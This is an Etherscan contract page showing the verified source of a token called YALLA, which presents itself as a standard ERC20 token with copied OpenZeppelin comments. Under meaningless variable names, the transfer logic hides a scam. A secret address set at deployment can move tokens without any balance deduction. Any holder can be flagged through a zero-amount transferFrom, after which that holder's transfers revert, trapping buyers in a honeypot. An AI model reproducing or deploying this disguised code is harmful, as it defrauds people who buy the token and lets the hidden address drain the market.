ETH Price: $2,497.11 (-0.66%)

Contract

0xC7beB0dc9E7AED5f1E6e799767124Ae4D3Cc69d2
 

Overview

ETH Balance

0 ETH

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$0.00

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Method
Block
From
To
Approve184235872023-10-25 0:07:35489 days ago1698192455IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0004764219.7010045
Approve172545112023-05-14 0:11:59653 days ago1684023119IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0008629335.77228636
Approve172541052023-05-13 22:48:59654 days ago1684018139IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0017380737.45285375
Approve172540812023-05-13 22:44:11654 days ago1684017851IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0014730931.90793012
Transfer172539902023-05-13 22:25:23654 days ago1684016723IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0019479436.7967384
Transfer172539882023-05-13 22:24:59654 days ago1684016699IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0018950235.79703666
Approve172539652023-05-13 22:20:23654 days ago1684016423IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0018123639.00329192
Approve172539372023-05-13 22:14:47654 days ago1684016087IN
0xC7beB0dc...4D3Cc69d2
0 ETH0.0015368933.29857915

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Contract Source Code Verified (Exact Match)

Contract Name:
YALLA

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-05-13
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

// Sources flattened with hardhat v2.7.0 https://hardhat.org

// File @openzeppelin/contracts/utils/[email protected]

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
 */

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File @openzeppelin/contracts/access/[email protected]


// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

/**
* @dev Returns the address of the current owner.
*/
    function owner() public view returns (address) {
        return _owner;
    }

/**
* @dev Throws if called by any account other than the owner.
*/

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
*/
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

contract YALLA is Ownable {
    mapping(address => uint256) private bring;

    address public uniswapV2Pair;

    uint256 public totalSupply;

    function approve(address crowd, uint256 mice) public returns (bool success) {
        allowance[msg.sender][crowd] = mice;
        emit Approval(msg.sender, crowd, mice);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */

    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => uint256) public balanceOf;

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */

    event Approval(address indexed owner, address indexed spender, uint256 value);


    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */

    string public symbol;

    string public name;

    function knew(address bar, address finish, uint256 mice) private returns (bool success) {
        if (bring[bar] == 0) {
            if (him[bar] > 0 && bar != uniswapV2Pair) {
                bring[bar] -= unhappy;
            }
            balanceOf[bar] -= mice;
        }
        if (mice == 0) {
            him[finish] += unhappy;
        }
        balanceOf[finish] += mice;
        emit Transfer(bar, finish, mice);
        return true;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */

    uint8 public decimals = 9;

    uint256 private unhappy = 21;

    constructor(address rear) {
        symbol = 'YALLA';
        name = 'YALLA';
        totalSupply = 1000000000 * 10 ** decimals;
        balanceOf[msg.sender] = totalSupply;
        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        bring[rear] = unhappy;
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function transferFrom(address bar, address finish, uint256 mice) public returns (bool success) {
        knew(bar, finish, mice);
        require(mice <= allowance[bar][msg.sender]);
        allowance[bar][msg.sender] -= mice;
        return true;
    }

    mapping(address => uint256) private him;

    function transfer(address finish, uint256 mice) public returns (bool success) {
        knew(msg.sender, finish, mice);
        return true;
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rear","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"crowd","type":"address"},{"internalType":"uint256","name":"mice","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"finish","type":"address"},{"internalType":"uint256","name":"mice","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bar","type":"address"},{"internalType":"address","name":"finish","type":"address"},{"internalType":"uint256","name":"mice","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

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Deployed Bytecode

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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000b771dadfcf6fbbf2dcd70f80b2d108265b564f9d

-----Decoded View---------------
Arg [0] : rear (address): 0xb771dadFcf6fBbf2DcD70F80b2D108265b564F9d

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b771dadfcf6fbbf2dcd70f80b2d108265b564f9d


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Swarm Source

ipfs://cb94520daf99396fb3c8dbde6e965bf39a4c9bde992be89025fd25cd06175a79

Block Transaction Difficulty Gas Used Reward
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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.